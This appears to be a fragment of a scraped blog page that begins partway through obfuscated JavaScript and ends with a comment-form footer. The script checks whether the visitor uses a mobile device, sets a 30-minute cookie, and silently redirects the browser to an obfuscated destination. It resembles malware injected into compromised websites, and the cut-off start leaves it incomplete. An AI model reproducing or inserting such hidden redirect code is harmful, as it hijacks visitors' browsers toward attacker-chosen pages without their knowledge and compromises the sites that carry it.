)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave A Reply

Your email address will not be published.